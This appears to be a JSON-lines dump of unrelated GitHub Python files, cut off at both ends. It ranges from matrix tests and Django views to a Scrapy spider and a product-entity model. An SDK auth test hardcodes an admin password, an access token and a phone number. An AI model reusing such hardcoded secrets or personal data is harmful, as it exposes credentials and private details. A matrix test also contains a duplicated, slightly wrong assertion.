result1 = mat1 @ 2\n result2 = mat1 @ 2.0\n\n print(result1.array)\n print(result2.array)\n\n assert result1.array == [\n [2, 4, 6],\n [8, 10, 12],\n ]\n assert result1.array == [\n [2.0, 4.0, 6.0],\n [8.0, 10.0, 12.0],\n ]\n\n\ndef test_matrix_neg():\n mat = Matrix(init=[\n [1, 2, 3],\n [4, 5, 6],\n ])\n\n result = -mat\n\n print(result.array)\n assert result.array == [\n [-1, -2, -3],\n [-4, -5, -6],\n ]\n","repo_name":"tribela/neuralnet-study","sub_path":"test/test_matrix.py","file_name":"test_matrix.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"24339660980","text":"\n# -*- coding: utf-8 -*-\n# flake8: noqa\n\nimport unittest\nfrom info2soft.common.Auth import Auth\nfrom info2soft import Auth\nfrom info2soft.fileWriter import write\nfrom info2soft.compat import is_py2, is_py3\n\nif is_py2:\n import sys\n import StringIO\n import urllib\n\n # reload(sys)\n sys.setdefaultencoding('utf-8')\n StringIO = StringIO.StringIO\n urlopen = urllib.urlopen\nif is_py3:\n import io\n import urllib\n\n StringIO = io.StringIO\n urlopen = urllib.request.urlopen\n\nusername = 'admin'\npwd = 'Info1234'\n \n \nclass AuthTestCase(unittest.TestCase):\n\n def testDescribeTimeStamp(self):\n a = Auth(username, pwd)\n body = {\n 'timestamp': 1546847673,\n }\n\n r = a.describeTimeStamp(body)\n print(r[0])\n assert r[0]['ret'] == 200\n write(r[0], 'Auth', 'describeTimeStamp', body)\n\n def testAuthGenerate(self):\n a = Auth(username, pwd)\n body = {\n }\n\n r = a.authGenerate(body)\n print(r[0])\n assert r[0]['ret'] == 200\n write(r[0], 'Auth', 'authGenerate', body)\n\n def testDescribeVerificationCode(self):\n a = Auth(username, pwd)\n body = {\n 'uuid': '',\n 'mobile': 18501767968,\n 'email': '',\n 'type': 'sms',\n }\n\n r = a.describeVerificationCode(body)\n print(r[0])\n assert r[0]['ret'] == 200\n write(r[0], 'Auth', 'describeVerificationCode', body)\n\n def testTokendef(self):\n a = Auth(username, pwd)\n body = {\n 'pwd': 'Info1234',\n 'username': 'admin',\n }\n\n r = a.tokendef(body)\n print(r[0])\n assert r[0]['ret'] == 200\n write(r[0], 'Auth', 'tokendef', body)\n\n def testHeartbeat(self):\n a = Auth(username, pwd)\n body = {\n 'refresh_token': 'null',\n }\n\n r = a.heartbeat(body)\n print(r[0])\n assert r[0]['ret'] == 200\n write(r[0], 'Auth', 'heartbeat', body)\n\n def testResetPwd(self):\n a = Auth(username, pwd)\n body = {\n }\n\n r = a.resetPwd(body)\n print(r[0])\n assert r[0]['ret'] == 200\n write(r[0], 'Auth', 'resetPwd', None)\n\n def testCheckLoginStatus(self):\n a = Auth(username, pwd)\n body = {\n 'access_token': 'a10b45cd8b94ad53UEsc8H-gxjMU-jX76eFd2z4eoDh0vlVkPPDWaJyBWssjwWdYAtk4SdFaL8dQH48QQv29c3TRNX3FQo4Ub_V1qwehbRQ28KBEtYqTG6wy8sbAEWPVcBoE2uWXnmP_J5R9hXl8yHbeyaMwMjLpWe0onA',\n }\n r = a.checkLoginStatus(body)\n print(r[0])\n assert r[0]['ret'] == 200\n write(r[0], 'Auth', 'checkLoginStatus', body)\n\n\nif __name__ == '__main__':\n unittest.main() \n","repo_name":"info2soft/i2up-python-sdk","sub_path":"info2soft/common/test/v20190104/AuthTest.py","file_name":"AuthTest.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"23423909742","text":"\"\"\" Functional tests for ``guestbook`` applications.\n\"\"\"\n\nimport unittest\n\nfrom wheezy.http.functional import WSGIClient\n\n\nclass MainFunctionalTestCase(unittest.TestCase):\n \"\"\"Functional tests for ``guestbook`` application.\"\"\"\n\n def setUp(self):\n from guestbook import main\n\n self.client = WSGIClient(main)\n\n def tearDown(self):\n del self.client\n self.client = None\n\n def test_welcome(self):\n \"\"\"Ensure welcome page is rendered.\"\"\"\n assert 200 == self.client.get(\"/\")\n assert \"author\" in self.client.content\n\n def test_favicon(self):\n \"\"\"Resource not found.\"\"\"\n assert 404 == self.client.get(\"/favicon.ico\")\n\n def test_add(self):\n \"\"\"Add page redirects to welcome.\"\"\"\n from guestbook import greetings\n\n assert 200 == self.client.get(\"/\")\n form = self.client.form\n form.author = \"John\"\n form.message = \"Hi!\"\n assert 302 == self.client.submit()\n assert 200 == self.client.follow()\n\n assert 1 == len(greetings)\n g = greetings[0]\n assert \"John\" == g.author\n assert \"Hi!\" == g.message\n","repo_name":"akornatskyy/wheezy.http","sub_path":"demos/guestbook/test_guestbook.py","file_name":"test_guestbook.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"75020081006","text":"import json\nfrom django.shortcuts import render, redirect\n\nfrom Map.utils import getLocation, getIsOpen, getOtherInfo, changeDataBaseById, changeExcelById\n\n\ndef showmarker(request):\n location = getLocation()\n context = {\n \"location\": location,\n }\n is_open_list = getIsOpen()\n name_list, open_time_list, note_list = getOtherInfo()\n\n return render(request, 'showMarkers.html', {\n \"location\": location,\n 'is_open': json.dumps(is_open_list),\n 'name': json.dumps(name_list),\n 'open_time': json.dumps(open_time_list),\n 'note': json.dumps(note_list),\n })\n\n\ndef ajax_add(request):\n i1 = int(request.GET.get(\"i1\"))\n changeid = i1\n changeDataBaseById(changeid)\n changeExcelById(changeid)\n\n return redirect(\"/map/showmarker/\")\n","repo_name":"fishuai/GDMap","sub_path":"DjangoTemplate/Map/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"10442381312","text":"#Find the Quotient and Remainder of the given Numerator and Denominator.\n#Numerator(N), Denominator(D), Quotient(Q), Remainder(R)\n\n#Define function:\n\ndef div(N, D):\n\n#Here we use exception handling to counter the zero divisible error:\n try:\n N = int(N)\n D = int(D)\n Q = N//D\n R = N%D\n\n print(\"Quotient: \", Q)\n print(\"Remainder: \", R)\n \n except ValueError as v:\n Q = v\n R = v\n print(Q)\n print(R)\n print(\"Invalid input, only integers are allowed\")\n\n except ZeroDivisionError as z:\n Q = z\n R = z\n print(Q)\n print(R)\n print(\"Anything divided by zero is Infinity\")\n\n#User Input:\nN = input(\"Enter the value of Numerator: \")\nD = input(\"Enter the value of Denominator: \")\n\n#Call the function:\ndiv(N, D)\n\n","repo_name":"UdhaikumarMohan/Problem-Solving","sub_path":"Set 1 - Basic/Division.py","file_name":"Division.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"36399956046","text":"import requests_html\nimport math\n\nclass Ordbok:\n def __init__(self,filnamn):\n fil = open(filnamn)\n self.rader = [r.strip() for r in fil.readlines() if len(r) == 6]\n def get_words(self): return self.rader\n\ndef possible(word,matches,words):\n possible=[]\n for w in words:\n is_match = True\n for i,m in enumerate(matches):\n if m == 1 and w[i] == word[i]:\n continue\n if m == 2 and word[i] in w:\n continue\n if m == 0 and word[i] not in w:\n continue\n is_match = False\n if is_match:\n possible.append(w)\n return possible\n\ndef all_permutations(size,rng):\n if size==1: \n for i in range(rng):\n yield [i]\n for perm in all_permutations(size-1,rng):\n for i in range(rng):\n yield [i]+perm\n\n \n\ndef all_possible(word,words):\n for perm in all_permutations(5,3):\n p=possible(word,perm,words)\n if not len(p): continue\n print(\"Perm: \"+str(perm))\n print(\"Möjliga: \"+str(p))\n print(\"Probabilitet: \" + str(len(p)/len(words)))\n print(\"Information: \" + str(math.log2(len(words)/len(p))))\n #yield possible(word,p,words)\n\ndef main():\n obok = Ordbok('./svenska-ord.txt')\n words = obok.get_words()\n all_p = all_possible('aktie',words)\n #for p in all_p:\n # if not len(p): continue\n # print(\"Möjliga: \"+str(p))\n # print(\"Probabilitet: \" + str(len(p)/len(words)))\n # print(\"Information: \" + str(math.log2(len(words)/len(p))))\n \n# obok.show_rader()\n\nif __name__ == \"__main__\": main()\n","repo_name":"rasmus-d/ordbok","sub_path":"get_words.py","file_name":"get_words.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"27285719472","text":"from enum import IntEnum\nfrom typing import List\n\nfrom ..dummy import CoreDummy\nfrom ..resource import Resource, ResourceWithNameHash\nfrom ProjectDecima.core.core_entry_handler_manager import EntryTypeManager\nfrom ProjectDecima.core.pod.strings import HashedString\nfrom ProjectDecima.utils.byte_io_ds import ByteIODS\nfrom ProjectDecima.core.entry_reference import EntryReference\n\n\nclass SkinnedMeshBoneBoundingBoxes(Resource):\n magic = 0x118378C2F191097A\n\n def __init__(self):\n super().__init__()\n self.bone_bbox = []\n self.indices = []\n self.uses_indices = 0\n self.initialized = 0\n\n def parse(self, reader: ByteIODS, core_file):\n super().parse(reader, core_file)\n self.bone_bbox = [reader.read_fmt('6f') for _ in reader.range32()]\n self.indices = [reader.read_uint16() for _ in reader.range32()]\n self.uses_indices = reader.read_uint8()\n self.initialized = reader.read_uint8()\n\n\n\nEntryTypeManager.register_handler(SkinnedMeshBoneBoundingBoxes)\n\n\n\n\n\nclass EPhysicsMotionType(IntEnum):\n Dynamic = 1\n Keyframed = 2\n Static = 3\n\n\nclass ERenderEffectAllocationMode(IntEnum):\n Private = 0\n Cached = 1\n\n\nclass ModelPartResource(ResourceWithNameHash):\n magic = 0xCDBCD0D1DCA09A23\n\n def __init__(self):\n super().__init__()\n self.mesh_resource = EntryReference()\n self.bone_bounding_boxes = EntryReference()\n self.physics_resource = EntryReference()\n self.part_motion_type = EPhysicsMotionType.Dynamic\n self.helper_node = HashedString()\n self.render_effect_allocation_mode = ERenderEffectAllocationMode.Private\n\n def parse(self, reader: ByteIODS, core_file):\n super().parse(reader, core_file)\n self.mesh_resource.parse(reader, core_file)\n self.bone_bounding_boxes.parse(reader, core_file)\n self.physics_resource.parse(reader, core_file)\n self.part_motion_type = EPhysicsMotionType(reader.read_uint32())\n self.helper_node = reader.read_hashed_string()\n self.render_effect_allocation_mode = ERenderEffectAllocationMode(reader.read_uint8())\n\n\n\n\nEntryTypeManager.register_handler(ModelPartResource)\n\n\n\n","repo_name":"REDxEYE/ProjectDecima_python","sub_path":"ProjectDecima/core/entry_types/model/model_part.py","file_name":"model_part.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"71864400687","text":"import dash\r\nimport dash_table\r\nimport pandas as pd\r\nimport sqlite3\r\n\r\ndbschema = 'catsweb'\r\nFactorName = '140'\r\ncolumnName = 'Current_Step'\r\n\r\ndef count_table(data_table):\r\n metric_data = list()\r\n\r\n cf_count_table = data_table.pivot_table(index=['Primary_Complaint_Owner'], aggfunc='size')\r\n for item in cf_count_table.iteritems():\r\n metric_data.append(item)\r\n\r\n metric_data_df = pd.DataFrame(metric_data, columns=['Complaint owner', 'Count'])\r\n #print(metric_data_df)\r\n return metric_data_df\r\n\r\n\r\nfullQuery = \"\"\"SELECT * FROM {}\"\"\"\r\nquery140 = \"\"\"SELECT * FROM {} WHERE {}=? \"\"\"\r\n\r\n\r\nconn = sqlite3.connect(dbschema+'.db')\r\ncur = conn.cursor()\r\n\r\nbucket_list = pd.read_sql(fullQuery.format(dbschema), conn)\r\nbucket_list = count_table(bucket_list)\r\nfiles_140 = pd.read_sql(query140.format(dbschema, 'Current_Step'), conn, params=('140',))\r\nfiles_140 = count_table(files_140)\r\n\r\napp = dash.Dash(__name__)\r\n\r\napp.layout = dash_table.DataTable(\r\n id='table',\r\n columns=[{\"name\": i, \"id\": i} for i in files_140.columns],\r\n data=files_140.to_dict('records'),\r\n)\r\n\r\nif __name__ == '__main__':\r\n app.run_server(debug=True)","repo_name":"helloprash/Metrics-App","sub_path":"table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"33597567753","text":"from django.urls import path\nfrom .views import home, blog_category, category, blog_detail, add_blog, blog_update, blog_delete, user_list, my_blog, blog_tag\napp_name = 'app'\n\nurlpatterns = [\n path('', home, name='home'),\n path('category/', blog_category, name='blog_category'),\n path('my-blog/', my_blog, name='my_blog'),\n path('blog-detail/', blog_detail, name='blog_detail'),\n path('category-list/', category, name='category-list'),\n path('add-blog/', add_blog, name='add_blog'),\n path('blog-update/', blog_update, name='blog_update'),\n path('blog-delete/', blog_delete, name='blog_delete'),\n path('user-list/', user_list, name='user_list'),\n path('blog_-ag/', blog_tag, name='blog_tag'),\n\n]","repo_name":"temurhamidov/blog-v1","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"70524230448","text":"from fsspec import Callback\nimport scrapy\nfrom trashscraper.items import TrashscraperItem\nfrom trashscraper.spiders.trash_image_spider import TrashImageSpider\nfrom scrapy_playwright.page import PageMethod\n#from pathlib import Path\n\n\nclass BingImageTrashSpider(TrashImageSpider):\n name = 'bing_image_trash'\n allowed_domains = ['bing.com']\n\n def start_requests(self):\n super().start_requests()\n\n self.urls = self.urls.split(';')\n for url in self.urls:\n yield scrapy.Request(url, meta=dict(\n url=url,\n \t \t\tplaywright=True,\n \t \t\tplaywright_include_page=True,\n playwright_context_kwargs=dict(\n viewport=dict(width=1920, height=10000)\n ),\n \t \t\tplaywright_page_methods=[\n \t \t\t\tPageMethod('wait_for_selector', 'a.richImgLnk'),\n PageMethod(\"hover\", \"div#i_results\"),\n # PageMethod(\n # \"screenshot\", path=Path(__file__).parent / \"screen.png\", full_page=True\n # ),\n \t \t\t\t]\n \t \t))\n\n\n def parse(self, response):\n item = TrashscraperItem()\n\n elements = response.css('a.richImgLnk')\n for iter, element in enumerate(elements):\n if iter >= self.size and self.size != 0:\n break\n item['image_urls'] = [element.css('img').attrib[\"src\"]]\n item['category'] = self.category\n yield item\n \n if self.size > len(elements):\n print(f'SPIDER CATEGORY={self.category}, URL={response.meta[\"url\"]} UNABLE TO DOWNLOAD MORE IMAGES: got {len(elements)} out of {self.size}')\n ","repo_name":"Kacper-Pietkun/ScrapingImages","sub_path":"trashscraper/trashscraper/spiders/bing_image_trash.py","file_name":"bing_image_trash.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"3431754423","text":"import torch\n\nfrom torch.distributions import Normal\nfrom torch.utils.data import TensorDataset, DataLoader\n\nfrom sggm.data.regression_datamodule import RegressionDataModule\nfrom sggm.data.shifted import DataModuleShifted\nfrom sggm.definitions import TOY_MAX_BATCH_ITERATIONS\n\n\nclass ToySymmetricalDataModule(RegressionDataModule):\n def __init__(\n self,\n batch_size: int,\n n_workers: int,\n N_train: int = 625,\n N_test: int = 1000,\n train_val_split: float = 0.9,\n **kwargs,\n ):\n RegressionDataModule.__init__(\n self,\n batch_size,\n n_workers,\n train_val_split,\n )\n self.N_train = N_train\n self.N_test = N_test\n\n self.training_range = [0, 10]\n self.testing_range = [-2, 12]\n\n # Manual as we know it\n self.dims = 1\n self.out_dims = 1\n\n self.max_batch_iterations = TOY_MAX_BATCH_ITERATIONS\n\n def setup(self, stage: str = None):\n # Save mean and std\n self.x_mean = 0\n self.x_std = 1\n self.y_mean = 0\n self.y_std = 1\n\n x_train = torch.FloatTensor(self.N_train, 1).uniform_(*self.training_range)\n eps = torch.randn_like(x_train)\n y_train = self.data_mean(x_train) + self.data_std(x_train) * eps\n x_test = torch.FloatTensor(self.N_test, 1).uniform_(*self.testing_range)\n y_test = self.data_mean(x_test)\n\n self.train_dataset = TensorDataset(x_train, y_train)\n self.setup_train_val_datasets(self.train_dataset)\n self.test_dataset = TensorDataset(x_test, y_test)\n\n def train_dataloader(self):\n return DataLoader(\n self.train_dataset,\n batch_size=self.batch_size,\n num_workers=self.n_workers,\n pin_memory=self.pin_memory,\n )\n\n def val_dataloader(self):\n return DataLoader(\n self.val_dataset,\n batch_size=self.batch_size,\n num_workers=self.n_workers,\n pin_memory=self.pin_memory,\n )\n\n def test_dataloader(self):\n return DataLoader(\n self.test_dataset,\n batch_size=self.batch_size,\n num_workers=self.n_workers,\n pin_memory=self.pin_memory,\n )\n\n @staticmethod\n def data_mean(x: torch.Tensor) -> torch.Tensor:\n return torch.ones_like(x)\n\n @staticmethod\n def data_std(x: torch.Tensor) -> torch.Tensor:\n scale, std = 6, 1.5\n norm = Normal(5, std)\n return scale * torch.exp(norm.log_prob(x))\n\n\nif __name__ == \"__main__\":\n\n dm = ToySymmetricalDataModule(1000, 0)\n dm.setup()\n\n import matplotlib.pyplot as plt\n\n x, y = next(iter(dm.train_dataloader()))\n fig, (ax1, ax2) = plt.subplots(1, 2)\n ax1.plot(x, y, \"o\")\n ax2.plot(torch.linspace(0, 10), dm.data_std(torch.linspace(0, 10)))\n plt.show()\n","repo_name":"pierresegonne/SGGM","sub_path":"sggm/data/toy_symmetrical/datamodule.py","file_name":"datamodule.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"2"} +{"seq_id":"1575468909","text":"import io\nimport json\nimport re\nimport urllib\n\nfrom decimal import Decimal\n\nfrom storescraper.utils import session_with_proxy\nfrom PIL import Image\nfrom django.core.validators import validate_comma_separated_integer_list\nfrom pyzbar.pyzbar import decode\nfrom django.contrib.auth import get_user_model\nfrom django.db import models, IntegrityError\nfrom django.db.models import Q, Count\nfrom django.utils import timezone\nfrom solotodo.utils import iterable_to_dict, fetch_sec_fields\nfrom .product import Product\nfrom .currency import Currency\nfrom .category import Category\nfrom .store import Store\nfrom .bundle import Bundle\nfrom .coupon import Coupon\nfrom .es_product import EsProduct\n\n\nclass EntityQueryset(models.QuerySet):\n def get_available(self):\n return self.filter(active_registry__stock__ne=0)\n\n def get_unavailable(self):\n return self.filter(Q(active_registry__isnull=True) |\n Q(active_registry__stock=0))\n\n def get_active(self):\n return self.filter(active_registry__isnull=False)\n\n def get_inactive(self):\n return self.filter(active_registry__isnull=True)\n\n def filter_by_user_perms(self, user, permission):\n synth_permissions = {\n 'view_entity': {\n 'store': 'view_store',\n 'category': 'view_category',\n },\n 'view_entity_stocks': {\n 'store': 'view_store_stocks',\n 'category': 'view_category',\n },\n 'is_entity_staff': {\n 'store': 'view_store',\n 'category': 'is_category_staff',\n }\n }\n\n assert permission in synth_permissions\n\n permissions = synth_permissions[permission]\n\n stores_with_permissions = Store.objects.filter_by_user_perms(\n user, permissions['store'])\n categories_with_permissions = Category.objects.filter_by_user_perms(\n user, permissions['category'])\n\n return self.filter(\n store__in=stores_with_permissions,\n category__in=categories_with_permissions,\n )\n\n def get_pending(self):\n return self.get_available().filter(product__isnull=True,\n is_visible=True)\n\n def update(self, *args, **kwargs):\n raise Exception('Queryset level update is disabled on Entity as it '\n 'does not emit pre_save / post_save signals')\n\n def estimated_sales(self, start_date=None, end_date=None,\n sorting='normal_price_sum'):\n from solotodo.models import EntityHistory\n\n ehs = EntityHistory.objects.filter(entity__in=self, stock__gt=0)\n if start_date:\n ehs = ehs.filter(timestamp__gte=start_date)\n if end_date:\n ehs = ehs.filter(timestamp__lte=end_date)\n\n ehs = ehs.order_by('entity', 'timestamp').select_related('entity')\n\n movements_by_entity = {}\n for e in self:\n movements_by_entity[e] = {\n 'count': 0,\n 'normal_price_sum': Decimal(0),\n 'offer_price_sum': Decimal(0)\n }\n\n last_eh_seen = None\n\n for eh in ehs:\n if not last_eh_seen or last_eh_seen.entity != eh.entity:\n pass\n else:\n units_sold = last_eh_seen.stock - eh.stock\n if units_sold > 0 and units_sold / last_eh_seen.stock < 0.1:\n movements_by_entity[eh.entity]['count'] += units_sold\n movements_by_entity[eh.entity]['normal_price_sum'] += \\\n units_sold * last_eh_seen.normal_price\n movements_by_entity[eh.entity][\n 'offer_price_sum'] += \\\n units_sold * last_eh_seen.offer_price\n last_eh_seen = eh\n\n result_list = [\n {\n 'entity': entity,\n 'count': value['count'],\n 'normal_price_sum': value['normal_price_sum'],\n 'offer_price_sum': value['offer_price_sum']\n }\n for entity, value in movements_by_entity.items()]\n\n sorted_results = sorted(\n result_list, key=lambda x: x[sorting], reverse=True)\n\n return sorted_results\n\n def conflicts(self):\n raw_conflicts = self.filter(product__isnull=False) \\\n .get_available() \\\n .values('store', 'product', 'cell_plan', 'bundle') \\\n .annotate(conflict_count=Count('pk')) \\\n .order_by('store', 'product', 'cell_plan', 'bundle') \\\n .filter(conflict_count__gt=1)\n\n store_ids = set()\n product_ids = set()\n bundle_ids = set()\n\n entities_query = Q()\n for entry in raw_conflicts:\n store_ids.add(entry['store'])\n product_ids.add(entry['product'])\n if entry['cell_plan']:\n product_ids.add(entry['cell_plan'])\n if entry['bundle']:\n bundle_ids.add(entry['bundle'])\n\n entities_query |= Q(store=entry['store']) & \\\n Q(product=entry['product']) & \\\n Q(cell_plan=entry['cell_plan']) & \\\n Q(bundle=entry['bundle'])\n\n entities = Entity.objects.get_available().filter(\n entities_query).select_related()\n\n entities_dict = {}\n for entity in entities:\n key = (entity.store_id, entity.product_id, entity.cell_plan_id,\n entity.bundle_id)\n if key not in entities_dict:\n entities_dict[key] = []\n entities_dict[key].append(entity)\n\n stores_dict = iterable_to_dict(Store.objects.filter(pk__in=store_ids))\n products_dict = iterable_to_dict(\n Product.objects.filter(pk__in=product_ids).select_related(\n 'instance_model__model__category')\n )\n products_dict[None] = None\n\n bundles_dict = iterable_to_dict(Bundle.objects.filter(\n pk__in=bundle_ids))\n bundles_dict[None] = None\n\n result = []\n for entry in raw_conflicts:\n result.append({\n 'store': stores_dict[entry['store']],\n 'product': products_dict[entry['product']],\n 'cell_plan': products_dict[entry['cell_plan']],\n 'bundle': bundles_dict[entry['bundle']],\n 'entities': entities_dict[(entry['store'], entry['product'],\n entry['cell_plan'],\n entry['bundle'])]\n })\n\n return result\n\n\nclass Entity(models.Model):\n CONDITION_CHOICES = [\n ('https://schema.org/DamagedCondition', 'Damaged'),\n ('https://schema.org/NewCondition', 'New'),\n ('https://schema.org/RefurbishedCondition', 'Refurbished'),\n ('https://schema.org/UsedCondition', 'Used'),\n # This is not part of the schema standard\n ('https://schema.org/OpenBoxCondition', 'Open Box'),\n ]\n CONDITION_CHOICES_DICT = dict(CONDITION_CHOICES)\n\n store = models.ForeignKey(Store, on_delete=models.CASCADE)\n category = models.ForeignKey(Category, on_delete=models.CASCADE)\n scraped_category = models.ForeignKey(Category, on_delete=models.CASCADE,\n related_name='+')\n currency = models.ForeignKey(Currency, on_delete=models.CASCADE)\n condition = models.URLField(choices=CONDITION_CHOICES, db_index=True)\n scraped_condition = models.URLField(choices=CONDITION_CHOICES, db_index=True)\n product = models.ForeignKey(Product, on_delete=models.CASCADE, null=True)\n bundle = models.ForeignKey(Bundle, on_delete=models.CASCADE, null=True)\n cell_plan = models.ForeignKey(Product, on_delete=models.CASCADE, null=True,\n related_name='+')\n best_coupon = models.ForeignKey(Coupon, on_delete=models.SET_NULL,\n null=True, blank=True,\n related_name='entities')\n active_registry = models.OneToOneField('EntityHistory',\n on_delete=models.CASCADE,\n related_name='+',\n null=True)\n name = models.CharField(max_length=256, db_index=True)\n cell_plan_name = models.CharField(max_length=60, null=True,\n blank=True, db_index=True)\n part_number = models.CharField(max_length=50, null=True, blank=True,\n db_index=True)\n sku = models.CharField(max_length=50, null=True, blank=True, db_index=True)\n ean = models.CharField(max_length=50, null=True, blank=True)\n key = models.CharField(max_length=256, db_index=True)\n url = models.URLField(max_length=512, db_index=True)\n discovery_url = models.URLField(max_length=512, db_index=True)\n picture_urls = models.TextField(blank=True, null=True)\n description = models.TextField(null=True)\n video_urls = models.TextField(blank=True, null=True)\n flixmedia_id = models.CharField(max_length=256, blank=True, null=True)\n review_count = models.IntegerField(blank=True, null=True)\n review_avg_score = models.FloatField(blank=True, null=True)\n has_virtual_assistant = models.BooleanField(null=True, blank=True)\n sec_qr_codes = models.CharField(\n validators=[validate_comma_separated_integer_list],\n null=True, blank=True, max_length=255,\n db_index=True\n )\n seller = models.CharField(max_length=256, blank=True, null=True,\n db_index=True)\n is_visible = models.BooleanField(default=True)\n\n # Metadata\n\n creation_date = models.DateTimeField(auto_now_add=True)\n last_updated = models.DateTimeField(auto_now=True)\n\n # The last time the entity was associated. Important to leave standalone as\n # it is used for staff payments\n last_association = models.DateTimeField(null=True, blank=True)\n last_association_user = models.ForeignKey(get_user_model(),\n on_delete=models.CASCADE,\n null=True)\n\n # Last time a staff accessed the entity in the backend. Used to display a\n # warning to other staff if they try to access it at the same time.\n last_staff_access = models.DateTimeField(null=True, blank=True)\n last_staff_access_user = models.ForeignKey(\n get_user_model(), on_delete=models.CASCADE, null=True,\n related_name='+')\n\n # The last time the pricing of this entity was updated. Needed because\n # active_registry may be null. It does not match the active_registry date\n # either way because the registry uses the timestamp of the scraping, and\n # this field uses the timestamp of the moment it is updated in the database\n last_pricing_update = models.DateTimeField()\n\n objects = EntityQueryset.as_manager()\n\n def __str__(self):\n result = '{} - {}'.format(self.store, self.name)\n if self.cell_plan_name:\n result += ' / {}'.format(self.cell_plan_name)\n result += ' ({})'.format(self.category)\n\n return result\n\n @property\n def condition_as_text(self):\n return self.CONDITION_CHOICES_DICT[self.condition]\n\n def is_available(self):\n if self.active_registry:\n return self.active_registry.stock != 0\n\n return False\n\n def update_with_scraped_product(self, scraped_product, sections_dict={},\n category=None, currency=None):\n from solotodo.models import EntityHistory, StoreSection, \\\n EntitySectionPosition\n\n assert scraped_product is None or self.key == scraped_product.key\n\n # If the entity is currently inactive and no scraping information\n # was obtained for it then just return\n if not self.active_registry_id and not scraped_product:\n return\n\n updated_data = {\n 'last_pricing_update': timezone.now(),\n }\n\n if scraped_product:\n if category is None:\n category = Category.objects.get(\n storescraper_name=scraped_product.category)\n\n if currency is None:\n currency = Currency.objects.get(\n iso_code=scraped_product.currency)\n\n new_active_registry = EntityHistory.objects.create(\n entity=self,\n stock=scraped_product.stock,\n normal_price=scraped_product.normal_price,\n offer_price=scraped_product.offer_price,\n cell_monthly_payment=scraped_product.cell_monthly_payment,\n timestamp=scraped_product.timestamp,\n picture_count=scraped_product.picture_urls_count(),\n video_count=scraped_product.video_urls_count(),\n review_count=scraped_product.review_count,\n review_avg_score=scraped_product.review_avg_score\n )\n\n for section_name, position_value in scraped_product.positions:\n store_section = sections_dict.get(section_name)\n\n if not store_section:\n store_section = StoreSection.objects.get_or_create(\n store=self.store,\n name=section_name\n )[0]\n\n EntitySectionPosition.objects.create(\n section=store_section,\n entity_history=new_active_registry,\n value=position_value\n )\n\n updated_data.update({\n 'name': scraped_product.name,\n 'scraped_category': category,\n 'currency': currency,\n 'cell_plan_name': scraped_product.cell_plan_name,\n 'part_number': scraped_product.part_number,\n 'sku': scraped_product.sku,\n 'ean': scraped_product.ean,\n 'url': scraped_product.url,\n 'discovery_url': scraped_product.discovery_url,\n 'picture_urls': scraped_product.picture_urls_as_json(),\n 'video_urls': scraped_product.video_urls_as_json(),\n 'description': scraped_product.description,\n 'scraped_condition': scraped_product.condition,\n 'flixmedia_id': scraped_product.flixmedia_id,\n 'seller': scraped_product.seller,\n 'review_count': scraped_product.review_count,\n 'review_avg_score': scraped_product.review_avg_score,\n 'has_virtual_assistant': scraped_product.has_virtual_assistant,\n 'active_registry': new_active_registry,\n })\n\n # If the entity condition hasn't been changed manually by the\n # staff, update it with the scraped condition\n if self.condition == self.scraped_condition:\n updated_data['condition'] = scraped_product.condition\n else:\n updated_data.update({\n 'active_registry': None\n })\n\n self.update_keeping_log(updated_data)\n\n @classmethod\n def create_from_scraped_product(cls, scraped_product, store, category,\n currency, sections_dict):\n from solotodo.models import EntityHistory, StoreSection, \\\n EntitySectionPosition\n\n new_entity = cls.objects.create(\n store=store,\n category=category,\n scraped_category=category,\n currency=currency,\n condition=scraped_product.condition,\n scraped_condition=scraped_product.condition,\n name=scraped_product.name,\n cell_plan_name=scraped_product.cell_plan_name,\n part_number=scraped_product.part_number,\n sku=scraped_product.sku,\n ean=scraped_product.ean,\n key=scraped_product.key,\n url=scraped_product.url,\n discovery_url=scraped_product.discovery_url,\n picture_urls=scraped_product.picture_urls_as_json(),\n video_urls=scraped_product.video_urls_as_json(),\n description=scraped_product.description,\n flixmedia_id=scraped_product.flixmedia_id,\n seller=scraped_product.seller,\n review_count=scraped_product.review_count,\n review_avg_score=scraped_product.review_avg_score,\n has_virtual_assistant=scraped_product.has_virtual_assistant,\n is_visible=True,\n last_pricing_update=timezone.now(),\n )\n\n new_entity_history = EntityHistory.objects.create(\n entity=new_entity,\n stock=scraped_product.stock,\n normal_price=scraped_product.normal_price,\n offer_price=scraped_product.offer_price,\n cell_monthly_payment=scraped_product.cell_monthly_payment,\n timestamp=scraped_product.timestamp,\n picture_count=scraped_product.picture_urls_count(),\n video_count=scraped_product.video_urls_count(),\n review_count=scraped_product.review_count,\n review_avg_score=scraped_product.review_avg_score\n )\n\n new_entity.active_registry = new_entity_history\n new_entity.save()\n\n for section_name, position_value in scraped_product.positions:\n store_section = sections_dict.get(section_name)\n\n if not store_section:\n store_section = StoreSection.objects.get_or_create(\n store=store,\n name=section_name\n )[0]\n\n EntitySectionPosition.objects.create(\n section=store_section,\n entity_history=new_entity_history,\n value=position_value\n )\n\n def update_keeping_log(self, updated_data, user=None):\n from 